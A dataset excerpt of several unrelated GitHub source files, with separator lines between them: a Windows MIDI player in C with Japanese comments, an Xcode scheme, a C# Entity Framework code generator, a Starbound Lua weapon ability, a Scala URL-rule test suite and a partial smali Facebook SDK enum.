timeEndPeriod(Mid_Time.caps.wPeriodMin);
break;
case(MIDFN_MIDLOOP):
break;
default:
return;
}
for(i=0;i<16;i++){
Mid_ShortMsg(0xb0+i,0x7b,0x00); // オール・ノート・オフ
Mid_ShortMsg(0xb0+i,0x78,0x00); // オール・サウンド・オフ
}
midiOutReset(Mid_Dev.mp);
Mid_Dev.state = MIDST_STOP;
}
// 各種テーブルの初期化 //
void Mid_TableInit(void)
{
int i,j;
for(i=0;i<16;i++){
for(j=0;j<128;j++){
Mid_PlayTable[i][j] = 0;
Mid_PlayTable2[i][j] = 0;
Mid_NoteTable[i][j] = 0;
Mid_NoteWTable[i][j] = 0;
}
Mid_PanpodTable[i] = 0x40;
Mid_ExpressionTable[i] = 0x7f;
Mid_VolumeTable[i] = 0x64;
}
}
void Mid_Volume(BYTE volume)
{
// マスター・ボリューム : F0 7F 7F 04 01 VolumeLowByte VolumeHighByte F7 //
// 下位バイトは SC-88ST Pro では 00 として扱われるらしい(取扱説明書より) //
BYTE msg[8] = {0xf0,0x7f,0x7f,0x04,0x01,0x00,0x00,0xf7};
MIDIHDR mh;
/*
union{
DWORD dd;
struct{
WORD d1;
WORD d2;
}w;
} temp;
*/
msg[6] = volume;
mh.dwFlags = 0;
mh.dwOffset = 0;
mh.lpData = msg;
mh.dwBufferLength = mh.dwBytesRecorded = 8;
midiOutPrepareHeader(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
midiOutLongMsg(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
midiOutUnprepareHeader(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
// これより下は削った方が良いかも //
//temp.w.d1 = temp.w.d2 = volume;
//midiOutSetVolume(Mid_Dev.mp,temp.dd);
}
void Mid_Tempo(char tempo)
{
Mid_MulTempo = MID_STDTEMPO + tempo;
}
void Mid_FadeOut(BYTE speed)
{
Mid_Dev.FadeFlag = -1;
Mid_Dev.FadeCount = 0;
// MaxVolume,FadeWait に 1 だけ加算しているのは、0除算防止のため //
Mid_Dev.FadeWait = ((256-speed)*4)/(Mid_Dev.MaxVolume+1) + 1;
}
void Mid_Pan(char pan)
{
int i;
int value = 0x40 + pan;
for(i=0;i<16;i++)
Mid_ShortMsg(0xb0+i,0x0a,value);
}
static void Mid_ShortMsg(BYTE d1,BYTE d2,BYTE d3)
{
BYTE data[4];
data[0] = d1;
data[1] = d2;
data[2] = d3;
data[3] = 0;
midiOutShortMsg(Mid_Dev.mp,*((DWORD *)data));
}
void Mid_GMReset(void)
{
// GM SystemOn : F0H 7EH 7FH 09H 01H F7H //
DWORD time;
BYTE msg[6] = {0xf0,0x7e,0x7f,0x09,0x01,0xf7};
MIDIHDR mh;
mh.dwFlags = 0;
mh.dwOffset = 0;
mh.dwBufferLength = mh.dwBytesRecorded = 11;
mh.lpData = msg;
mh.dwBufferLength = mh.dwBytesRecorded = 6;
midiOutPrepareHeader(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
midiOutLongMsg(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
midiOutUnprepareHeader(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
// ここで50ms以上待つこと! //
time = timeGetTime();
while(timeGetTime()-time<=50);
}
BOOL Mid_ChgDev(char pos)
{
int i,temp;
UINT mret;
// 各関数に合わせて停止処理を行う //
Mid_Stop();
midiOutClose(Mid_Dev.mp);
temp = Mid_Dev.nDevice + Mid_Dev.NowID + ((pos<0) ? -1 : 1);
for(i=0;i<Mid_Dev.nDevice;i++){
Mid_Dev.NowID = (pos<0) ? (temp-i)%(Mid_Dev.nDevice) : (temp+i)%(Mid_Dev.nDevice);
mret = midiOutOpen(&Mid_Dev.mp,Mid_Dev.NowID-1,0,0,CALLBACK_NULL);
if(mret==MMSYSERR_NOERROR){
Mid_Play();
return TRUE;
}
}
// あり得ないはずだが... //
return FALSE;
}
BOOL Mid_Load(char *filename)
{
FILE *fp;
MID_FILEST midhead;
MID_MAINST *midmain;
MID_TRACKST midtrack;
MID_TRACK *pt;
DWORD size;
int i;
Mid_Free();
if((fp=fopen(filename,"rb"))==NULL) return FALSE;
fread(&midhead,sizeof(MID_FILEST),1,fp);
if(midhead.MThd!=mmioFOURCC('M','T','h','d')){
fclose(fp);
return FALSE;
}
size = ConvDWord(midhead.size);
midmain = (MID_MAINST *)LocalAlloc(LPTR,size);
fread(midmain,size,1,fp);
Mid_Data.format = ConvWord(midmain->format);
Mid_Data.track = ConvWord(midmain->track);
Mid_Data.timebase = ConvWord(midmain->timebase);
Mid_Data.tempo = 1000000;
LocalFree(midmain);
Mid_Data.data = (MID_TRACK *)LocalAlloc(LPTR,sizeof(MID_TRACK)*Mid_Data.track);
ZeroMemory(Mid_Data.data,sizeof(MID_TRACK)*Mid_Data.track);
for(i=0;i<Mid_Data.track;i++){
fread(&midtrack,sizeof(MID_TRACKST),1,fp);
pt = &(Mid_Data.data[i]);
pt->size = ConvDWord(midtrack.size);
pt->data = (BYTE *)LocalAlloc(LPTR,pt->size);
pt->play = TRUE;
fread(pt->data,pt->size,1,fp);
}
fclose(fp);
Mid_Init();
return TRUE;
}
BOOL PMid_Load(BIT_DEVICE *in,DWORD n)
{
BYTE *data,*dp;
MID_FILEST *midhead;
MID_MAINST *midmain;
MID_TRACKST *midtrack;
MID_TRACK *pt;
DWORD size;
int i;
Mid_Free();
if((data=MemExpand(in,n))==NULL) return FALSE;
midhead = (MID_FILEST *)data;
//fread(&midhead,sizeof(MID_FILEST),1,fp);
if(midhead->MThd!=mmioFOURCC('M','T','h','d')){
LocalFree(data);
return FALSE;
}
size = ConvDWord(midhead->size);
midmain = (MID_MAINST *)((BYTE *)data+sizeof(MID_FILEST));
//fread(midmain,size,1,fp);
Mid_Data.format = ConvWord(midmain->format);
Mid_Data.track = ConvWord(midmain->track);
Mid_Data.timebase = ConvWord(midmain->timebase);
Mid_Data.tempo = 1000000;
Mid_Data.data = (MID_TRACK *)LocalAlloc(LPTR,sizeof(MID_TRACK)*Mid_Data.track);
ZeroMemory(Mid_Data.data,sizeof(MID_TRACK)*Mid_Data.track);
dp = (BYTE *)(data+sizeof(MID_FILEST)+size);
for(i=0;i<Mid_Data.track;i++){
midtrack = (MID_TRACKST *)dp;
dp+=sizeof(MID_TRACKST);
//fread(&midtrack,sizeof(MID_TRACKST),1,fp);
pt = &(Mid_Data.data[i]);
pt->size = ConvDWord(midtrack->size);
pt->data = (BYTE *)LocalAlloc(LPTR,pt->size);
pt->play = TRUE;
//fread(pt->data,pt->size,1,fp);
memcpy(pt->data,dp,pt->size);
dp+=pt->size;
}
LocalFree(data);
Mid_Init();
return TRUE;
}
static BOOL Mid_Init(void)
{
MID_TRACK *p;
int i;
//Mid_Fade = 0;
//Mid_MulTempo = MID_STDTEMPO;
Mid_PlayTime = 0;
Mid_Data.playcount1 = 0;
Mid_Data.playcount2 = 0;
Mid_Data.fticks = 0;
Mid_Data.nticks = 0;
for(i=0;i<Mid_Data.track;i++){
p = &(Mid_Data.data[i]);
p->work = p->data;
p->play = TRUE;
p->count = GetWaitCount(&(p->work)); // 初期ウェイトカウントを読むの
}
return TRUE;
}
BOOL Mid_Free(void)
{
int i;
if(Mid_Data.data == NULL) return FALSE;
for(i=0;i<Mid_Data.track;i++)
LocalFree(Mid_Data.data[i].data);
LocalFree(Mid_Data.data);
Mid_Data.data = NULL;
Mid_Data.track = 0;
return TRUE;
}
static WORD ConvWord(WORD data)
{
WORD temp;
((BYTE *)&temp)[0] = ((BYTE *)&data)[1];
((BYTE *)&temp)[1] = ((BYTE *)&data)[0];
return temp;
}
static DWORD ConvDWord(DWORD data)
{
DWORD temp;
((BYTE *)&temp)[0] = ((BYTE *)&data)[3];
((BYTE *)&temp)[1] = ((BYTE *)&data)[2];
((BYTE *)&temp)[2] = ((BYTE *)&data)[1];
((BYTE *)&temp)[3] = ((BYTE *)&data)[0];
return temp;
}
static DWORD GetWaitCount(LPBYTE *data)
{
BYTE temp;
DWORD ret = 0;
do{
temp = **data;
++*data;
ret = (ret<<7)+(temp&0x7f);
}while(temp&0x80);
return ret;
}
static void MidFadeIOFunc(void)
{
int track;
if(Mid_Dev.FadeFlag==0) return;
if(Mid_Dev.FadeCount % Mid_Dev.FadeWait == 0){
Mid_Dev.NowVolume += Mid_Dev.FadeFlag;
for(track=0;track<16;track++)
Mid_ShortMsg(0xb0+track,0x07,Mid_VolumeTable[track]*Mid_Dev.NowVolume/(Mid_Dev.MaxVolume+1));
//Mid_Volume(Mid_Dev.NowVolume);
if(Mid_Dev.NowVolume==0 || Mid_Dev.NowVolume==Mid_Dev.MaxVolume){
Mid_Dev.FadeFlag = 0;
Mid_Stop();
}
}
Mid_Dev.FadeCount++;
}
void Mid_LoopFunc(DWORD time)
{
int i;
BOOL flag = FALSE;
MID_TRACK *p;
DWORDLONG now = Mid_Data.playcount2 + (DWORDLONG)Mid_Data.playcount1*Mid_Data.timebase*1000/Mid_Data.tempo;
if(Mid_Dev.mp == NULL) return;
if(Mid_Data.data == NULL) return;
if(Mid_Dev.fnmode != MIDFN_MIDLOOP) return;
Mid_PlayTime += time;
for(i=0;i<Mid_Data.track;i++){
p = &(Mid_Data.data[i]);
if(p->play){
flag = TRUE;
while(p->play && p->count<=now)
Mid_Parse(p);
}
}
Mid_Data.playcount1+=((time*Mid_MulTempo)>>7);
MidFadeIOFunc();
if(!flag){
switch(Mid_Dev.plmode){
case(MIDPL_NORM):Mid_Init(); break;
case(MIDPL_STOP):Mid_Stop(); break;
}
}
}
static void CALLBACK CBMid_TimeFunc(UINT uID,UINT uMsg,DWORD dwUser,DWORD dw1,DWORD dw2)
{
int i;
BOOL flag = FALSE;
MID_TRACK *p;
DWORDLONG now = Mid_Data.playcount2 + (DWORDLONG)Mid_Data.playcount1*Mid_Data.timebase*1000/Mid_Data.tempo;
for(i=0;i<Mid_Data.track;i++){
p = &(Mid_Data.data[i]);
if(p->play){
flag = TRUE;
while(p->play && p->count<=now)
Mid_Parse(p);
}
}
Mid_PlayTime += Mid_Time.delay;
Mid_Data.playcount1+=((Mid_Time.delay*Mid_MulTempo)>>7);
// Mid_Data.nticks = (Mid_Time.delay*1000 + Mid_Data.fticks) / Mid_Data.tempo;
// Mid_Data.fticks = Mid_Time.delay*1000 % Mid_Data.tempo;
// Mid_Data.nticks = (Mid_Data.fticks + Mid_PlayTime * Mid_Data.timebase * 1000) / Mid_Data.tempo;
// Mid_Data.fticks += (Mid_Data.timebase * Mid_PlayTime * 1000) - (Mid_Data.nticks * Mid_Data.tempo);
MidFadeIOFunc();
if(!flag){
switch(Mid_Dev.plmode){
case(MIDPL_NORM):Mid_Init(); break;
case(MIDPL_STOP):Mid_Stop(); break;
}
}
}
static void Mid_Parse(MID_TRACK *track)
{
int i,count,countwork;
BYTE st1,st2;
BYTE data[4] = {0,0,0,0};
st1 = *(track->work);
if(st1<0x80) st1 = track->status;
else track->work++;
st2 = st1 & 0xf0;
switch(st2){
case(0xf0): // ?バイト
if(st1 == 0xf0){ // エクスクルーシブ
MIDIHDR mh;
countwork = GetWaitCount(&(track->work));
mh.lpData = LocalAlloc(LPTR,countwork+1);
mh.lpData[0] = (BYTE)0xf0;
mh.dwFlags = mh.dwOffset = 0;
mh.dwBufferLength = mh.dwBytesRecorded = countwork+1;
for(i=0;i<countwork;i++)
mh.lpData[i+1] = *(track->work++);
midiOutPrepareHeader(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
midiOutLongMsg(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
midiOutUnprepareHeader(Mid_Dev.mp,&mh,sizeof(MIDIHDR));
LocalFree(mh.lpData);
}
else{ // 制御用データ(出力のないものだけ出力)
BYTE code = *(track->work++);
countwork = GetWaitCount(&(track->work));
if(code==0x2f){ // トラック終了
track->play = FALSE;
return;
}
else if(code==0x51){ // テンポ
Mid_Data.playcount2 += (DWORDLONG)Mid_Data.playcount1*Mid_Data.timebase*1000/Mid_Data.tempo;
Mid_Data.playcount1 = 0;
Mid_Data.tempo = 0;
for(i=0;i<countwork;i++)
Mid_Data.tempo += (Mid_Data.tempo<<8)+(*(track->work++));
// ここに謎の一行があります //
break;
}
else // その他(読み飛ばし)
track->work += countwork;
}
break;
case(0xb0): // コントロールチェンジ
switch(*(track->work)){
case(0x07): // ボリューム
Mid_VolumeTable[st1&0x0f] = *(track->work+1);
break;
case(0x0a): // パンポット
Mid_PanpodTable[st1&0x0f] = *(track->work+1);
break;
case(0x0b): // エクスプレッション
Mid_ExpressionTable[st1&0x0f] = *(track->work+1);
break;
}
data[0] = st1;
data[1] = *(track->work++);
data[2] = *(track->work++);
midiOutShortMsg(Mid_Dev.mp,*((DWORD *)data));
break;
case(0x80): // ノートオフ
Mid_NoteTable[st1&0x0f][*(track->work)] = *(track->work+1) = 0;
case(0x90):case(0xa0): // 3バイト:発音 or 変更
if(Mid_PlayTable[st1&0x0f][*(track->work)] < *(track->work+1)){
Mid_PlayTable[st1&0x0f][*(track->work)] = *(track->work+1);
Mid_PlayTable2[st1&0x0f][*(track->work)] = *(track->work+1);
}
//Mid_PlayTable[st1&0x0f][*(track->work)] += *(track->work+1);
//Mid_PlayTable2[st1&0x0f][*(track->work)] += *(track->work+1);
Mid_NoteTable[st1&0x0f][*(track->work)] = *(track->work+1);
if(Mid_NoteTable[st1&0x0f][*(track->work)])
Mid_NoteWTable[st1&0x0f][*(track->work)] = 5;
case(0xe0): // 3バイト
data[0] = st1;
data[1] = *(track->work++);
data[2] = *(track->work++);
midiOutShortMsg(Mid_Dev.mp,*((DWORD *)data));
break;
case(0xc0):case(0xd0): // 2バイト
data[0] = st1;
data[1] = *(track->work++);
midiOutShortMsg(Mid_Dev.mp,*((DWORD *)data));
break;
}
track->status = st1;
count = GetWaitCount(&(track->work));
track->count += count;
}
char *Mid_GetTitle(void)
{
static char temp[1000];
int i;
BYTE *p;
memset(temp,0,1000);
// 通常のファイル用 たまに変なファイルだと間違ったものを表示するが... //
for(i=0;i<Mid_Data.track;i++){
p = Mid_Data.data[i].data;
while(!(p[0]==0xff && p[1]==0x2f && p[2]==0x00)){
if(p[0]==0xff && p[1]==0x03){
memcpy(temp,p+3,p[2]);
return temp;
}
p++;
}
}
// タイトルのはずなのに別のところに記述しているファイル用 //
for(i=0;i<Mid_Data.track;i++){
p = Mid_Data.data[i].data;
while(!(p[0]==0xff && p[1]==0x2f && p[2]==0x00)){
if(p[0]==0xff && p[1]==0x01){
memcpy(temp,p+3,p[2]);
return p+3;
}
p++;
}
}
return temp;
}
// playcount1 の取得 //
DWORDLONG Mid_GetPlaycount1(void)
{
return Mid_Data.playcount1;
}
// playcount2 の取得 //
DWORDLONG Mid_GetPlaycount2(void)
{
return Mid_Data.playcount2;
}
// 全情報を取得 //
void Mid_GetData(MID_DATA *pData)
{
*pData = Mid_Data;
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "0700"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "2EA377071BB7D2AC00C6B4E4"
BuildableName = "Intruduction Tips.app"
BlueprintName = "Intruduction Tips"
ReferencedContainer = "container:Intruduction Tips.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
<TestableReference
skipped = "NO">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "2EA3771B1BB7D2AC00C6B4E4"
BuildableName = "Intruduction TipsTests.xctest"
BlueprintName = "Intruduction TipsTests"
ReferencedContainer = "container:Intruduction Tips.xcodeproj">
</BuildableReference>
</TestableReference>
<TestableReference
skipped = "NO">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "2EA377261BB7D2AC00C6B4E4"
BuildableName = "Intruduction TipsUITests.xctest"
BlueprintName = "Intruduction TipsUITests"
ReferencedContainer = "container:Intruduction Tips.xcodeproj">
</BuildableReference>
</TestableReference>
</Testables>
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "2EA377071BB7D2AC00C6B4E4"
BuildableName = "Intruduction Tips.app"
BlueprintName = "Intruduction Tips"
ReferencedContainer = "container:Intruduction Tips.xcodeproj">
</BuildableReference>
</MacroExpansion>
<AdditionalOptions>
</AdditionalOptions>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "2EA377071BB7D2AC00C6B4E4"
BuildableName = "Intruduction Tips.app"
BlueprintName = "Intruduction Tips"
ReferencedContainer = "container:Intruduction Tips.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<AdditionalOptions>
</AdditionalOptions>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "2EA377071BB7D2AC00C6B4E4"
BuildableName = "Intruduction Tips.app"
BlueprintName = "Intruduction Tips"
ReferencedContainer = "container:Intruduction Tips.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) Microsoft Open Technologies, Inc. All rights reserved. See License.txt in the project root for license information.
using md = System.Data.Entity.Core.Metadata.Edm;
//
// The CodeGen module is responsible for translating the ITree finally into a query
// We assume that various tree transformations have taken place, and the tree
// is finally ready to be executed. The CodeGen module
// * converts the Itree into one or more CTrees (in S space)
// * produces a ColumnMap to facilitate result assembly
// * and wraps up everything in a plan object
//
//
namespace System.Data.Entity.Core.Query.PlanCompiler
{
using System.Collections.Generic;
using System.Data.Entity.Core.Query.InternalTrees;
internal class CodeGen
{
#region public methods
// <summary>
// This involves
// * Converting the ITree into a set of ProviderCommandInfo objects
// * Creating a column map to enable result assembly
// Currently, we only produce a single ITree, and correspondingly, the
// following steps are trivial
// </summary>
// <param name="compilerState"> current compiler state </param>
// <param name="childCommands"> CQTs for each store command </param>
// <param name="resultColumnMap"> column map to help in result assembly </param>
internal static void Process(
PlanCompiler compilerState, out List<ProviderCommandInfo> childCommands, out ColumnMap resultColumnMap, out int columnCount)
{
var codeGen = new CodeGen(compilerState);
codeGen.Process(out childCommands, out resultColumnMap, out columnCount);
}
#endregion
#region constructors
private CodeGen(PlanCompiler compilerState)
{
m_compilerState = compilerState;
}
#endregion
#region private methods
// <summary>
// The real driver. This routine walks the tree, converts each subcommand
// into a CTree, and converts the columnmap into a real column map.
// Finally, it produces a "real" plan that can be used by the bridge execution, and
// returns this plan
// The root of the tree must be a PhysicalProjectOp. Each child of this Op
// represents a command to be executed, and the ColumnMap of this Op represents
// the eventual columnMap to be used for result assembly
// </summary>
// <param name="childCommands"> CQTs for store commands </param>
// <param name="resultColumnMap"> column map for result assembly </param>
private void Process(out List<ProviderCommandInfo> childCommands, out ColumnMap resultColumnMap, out int columnCount)
{
var projectOp = (PhysicalProjectOp)Command.Root.Op;
m_subCommands = new List<Node>(new[] { Command.Root });
childCommands = new List<ProviderCommandInfo>(
new[]
{
ProviderCommandInfoUtils.Create(
Command,
Command.Root // input node
)
});
// Build the final column map, and count the columns we expect for it.
resultColumnMap = BuildResultColumnMap(projectOp);
columnCount = projectOp.Outputs.Count;
}
private ColumnMap BuildResultColumnMap(PhysicalProjectOp projectOp)
{
// convert the column map into a real column map
// build up a dictionary mapping Vars to their real positions in the commands
var varMap = BuildVarMap();
var realColumnMap = ColumnMapTranslator.Translate(projectOp.ColumnMap, varMap);
return realColumnMap;
}
// <summary>
// For each subcommand, build up a "location-map" for each top-level var that
// is projected out. This location map will ultimately be used to convert VarRefColumnMap
// into SimpleColumnMap
// </summary>
private Dictionary<Var, KeyValuePair<int, int>> BuildVarMap()
{
var varMap =
new Dictionary<Var, KeyValuePair<int, int>>();
var commandId = 0;
foreach (var subCommand in m_subCommands)
{
var projectOp = (PhysicalProjectOp)subCommand.Op;
var columnPos = 0;
foreach (var v in projectOp.Outputs)
{
var varLocation = new KeyValuePair<int, int>(commandId, columnPos);
varMap[v] = varLocation;
columnPos++;
}
commandId++;
}
return varMap;
}
#endregion
#region private state
private readonly PlanCompiler m_compilerState;
private Command Command
{
get { return m_compilerState.Command; }
}
private List<Node> m_subCommands;
#endregion
}
}
|
{
"pile_set_name": "Github"
}
|
require "/scripts/util.lua"
require "/items/active/weapons/weapon.lua"
Charge = WeaponAbility:new()
function Charge:init()
self:reset()
end
function Charge:update(dt, fireMode, shiftHeld)
WeaponAbility.update(self, dt, fireMode, shiftHeld)
if self.weapon.currentAbility == nil and self.fireMode == "alt" and not status.resourceLocked("energy") then
self:setState(self.charge)
end
end
function Charge:charge()
self.weapon:setStance(self.stances.charge)
self.weapon:updateAim()
animator.setAnimationState("dashSwoosh", "charge")
local chargeTimer = 0
local chargeLevel = 0
while self.fireMode == "alt" and (chargeLevel == self.chargeLevels or status.overConsumeResource("energy", (self.maxEnergyUsage / self.chargeTime) * self.dt)) do
chargeTimer = math.min(self.chargeTime, chargeTimer + self.dt)
chargeLevel = self:setChargeLevel(chargeTimer, chargeLevel)
coroutine.yield()
end
if chargeTimer > self.minChargeTime then
self:setState(self.dash, chargeTimer / self.chargeTime)
end
end
function Charge:dash(charge)
self.weapon:setStance(self.stances.dash)
self.weapon:updateAim()
self:setLightning(3, self.dashLightning[1], self.dashLightning[2], self.dashLightning[3], self.dashLightning[4], 8)
animator.burstParticleEmitter(self.weapon.elementalType .. "swoosh")
animator.setAnimationState("swoosh", "fire")
animator.setAnimationState("dashSwoosh", "full")
if animator.hasSound("fire") then
animator.playSound("fire")
end
util.wait(self.maxDashTime * charge, function(dt)
local aimDirection = {mcontroller.facingDirection() * math.cos(self.weapon.aimAngle), math.sin(self.weapon.aimAngle)}
mcontroller.controlApproachVelocity(vec2.mul(aimDirection, self.dashMaxSpeed), self.dashControlForce)
mcontroller.controlParameters({
airFriction = 0,
groundFriction = 0,
liquidFriction = 0,
gravityEnabled = false
})
local damageArea = partDamageArea("dashSwoosh")
self.damageConfig.baseDamage = self.baseDps * self.chargeTime * charge
self.weapon:setDamage(self.damageConfig, damageArea)
end)
-- freeze in mid air for a short amount of time
util.wait(self.freezeTime, function(dt)
mcontroller.controlParameters({
gravityEnabled = false
})
mcontroller.setVelocity({0,0})
end)
end
function Charge:reset()
activeItem.setScriptedAnimationParameter("lightning", {})
animator.setAnimationState("dashSwoosh", "idle")
end
function Charge:uninit()
self:reset()
if self.weapon.currentState == self.dash then
mcontroller.setVelocity({0,0})
end
end
function Charge:setChargeLevel(chargeTimer, currentLevel)
local level = math.min(self.chargeLevels, math.ceil(chargeTimer / self.chargeTime * self.chargeLevels))
if currentLevel < level then
local lightningCharge = self.lightningChargeLevels[level]
self:setLightning(3, lightningCharge[1], lightningCharge[2], lightningCharge[3], lightningCharge[4], 2.75 + level)
end
return level
end
function Charge:setLightning(amount, width, forks, branching, color, length)
local lightning = {}
for i = 1, amount do
local bolt = {
minDisplacement = 0.225,
forks = forks,
forkAngleRange = 0.90,
width = width,
color = color,
endPointDisplacement = -branching + (i * 2 * branching)
}
bolt.itemStartPosition = vec2.rotate(vec2.add(self.weapon.weaponOffset, {0, 4.0}), self.weapon.relativeWeaponRotation)
bolt.itemEndPosition = vec2.rotate(vec2.add(self.weapon.weaponOffset, {0, 4.0 - length}), self.weapon.relativeWeaponRotation)
bolt.displacement = vec2.mag(vec2.sub(bolt.itemEndPosition, bolt.itemStartPosition)) / 4
table.insert(lightning, bolt)
end
activeItem.setScriptedAnimationParameter("lightning", lightning)
end
|
{
"pile_set_name": "Github"
}
|
package scalafix.tests.config
import metaconfig.Conf
import metaconfig.Configured.NotOk
import metaconfig.Configured.Ok
import org.scalatest.funsuite.AnyFunSuite
import scalafix.internal.reflect.GitHubUrlRule
import scalafix.testkit.DiffAssertions
class GitHubUrlRuleSuite extends AnyFunSuite with DiffAssertions {
def check(original: String, expected: String, ok: Boolean = true): Unit = {
test((if (ok) "" else "FAIL ") + original) {
Conf.Str(original) match {
case GitHubUrlRule(Ok(obtained)) if ok =>
assertNoDiffOrPrintExpected(obtained.toString, expected)
case GitHubUrlRule(NotOk(obtained)) if !ok =>
assertNoDiffOrPrintExpected(obtained.toString, expected)
}
}
}
def checkFail(original: String, expected: String): Unit = {
check(original, expected, ok = false)
}
check(
"github:someorg/some-repo",
"https://raw.githubusercontent.com/someorg/some-repo/master/scalafix/rules/" +
"src/main/scala/fix/SomeRepo.scala"
)
check(
"github:typelevel/cats/v1_0",
"https://raw.githubusercontent.com/typelevel/cats/master/scalafix/rules/" +
"src/main/scala/fix/v1_0.scala"
)
check(
"github:someorg/some-repo/RuleName",
"https://raw.githubusercontent.com/someorg/some-repo/master/scalafix/rules/" +
"src/main/scala/fix/RuleName.scala"
)
check(
"github:someorg/some-repo/RuleName?sha=master~1",
"https://raw.githubusercontent.com/someorg/some-repo/master~1/scalafix/rules/" +
"src/main/scala/fix/RuleName.scala"
)
check(
"github:someorg/42some-repo/RuleName",
"https://raw.githubusercontent.com/someorg/42some-repo/master/scalafix/rules/" +
// NOTE: identifiers can't start with numbers like 42. However,
// giter8 doesn't support adding a prefix in case the first character
// is a number: http://www.foundweekends.org/giter8/Combined+Pages.html#Formatting+template+fields
// The rule inside the file can still be renamed to _42SomeRepo
// without problem.
"src/main/scala/fix/RuleName.scala"
)
checkFail(
"github:someorgsomerepo",
"""Invalid url 'github:someorgsomerepo'. Valid formats are:
|- github:org/repo
|- github:org/repo/name
|- github:org/repo/name?sha=branch""".stripMargin
)
}
|
{
"pile_set_name": "Github"
}
|
.class public final enum Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
.super Ljava/lang/Enum;
# interfaces
.implements Lcom/facebook/internal/DialogFeature;
# annotations
.annotation system Ldalvik/annotation/Signature;
value = {
"Ljava/lang/Enum",
"<",
"Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;",
">;",
"Lcom/facebook/internal/DialogFeature;"
}
.end annotation
# static fields
.field private static final synthetic $VALUES:[Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
.field public static final enum OG_MESSAGE_DIALOG:Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
# instance fields
.field private minVersion:I
# direct methods
.method static constructor <clinit>()V
.locals 4
const/4 v3, 0x0
new-instance v0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
const-string/jumbo v1, "OG_MESSAGE_DIALOG"
const v2, 0x13350ac
invoke-direct {v0, v1, v3, v2}, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;-><init>(Ljava/lang/String;II)V
sput-object v0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;->OG_MESSAGE_DIALOG:Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
const/4 v0, 0x1
new-array v0, v0, [Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
sget-object v1, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;->OG_MESSAGE_DIALOG:Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
aput-object v1, v0, v3
sput-object v0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;->$VALUES:[Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
return-void
.end method
.method private constructor <init>(Ljava/lang/String;II)V
.locals 0
.annotation system Ldalvik/annotation/Signature;
value = {
"(I)V"
}
.end annotation
invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
iput p3, p0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;->minVersion:I
return-void
.end method
.method public static valueOf(Ljava/lang/String;)Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
.locals 1
const-class v0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
move-result-object v0
check-cast v0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
return-object v0
.end method
.method public static values()[Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
.locals 1
sget-object v0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;->$VALUES:[Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
invoke-virtual {v0}, [Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;->clone()Ljava/lang/Object;
move-result-object v0
check-cast v0, [Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;
return-object v0
.end method
# virtual methods
.method public final getAction()Ljava/lang/String;
.locals 1
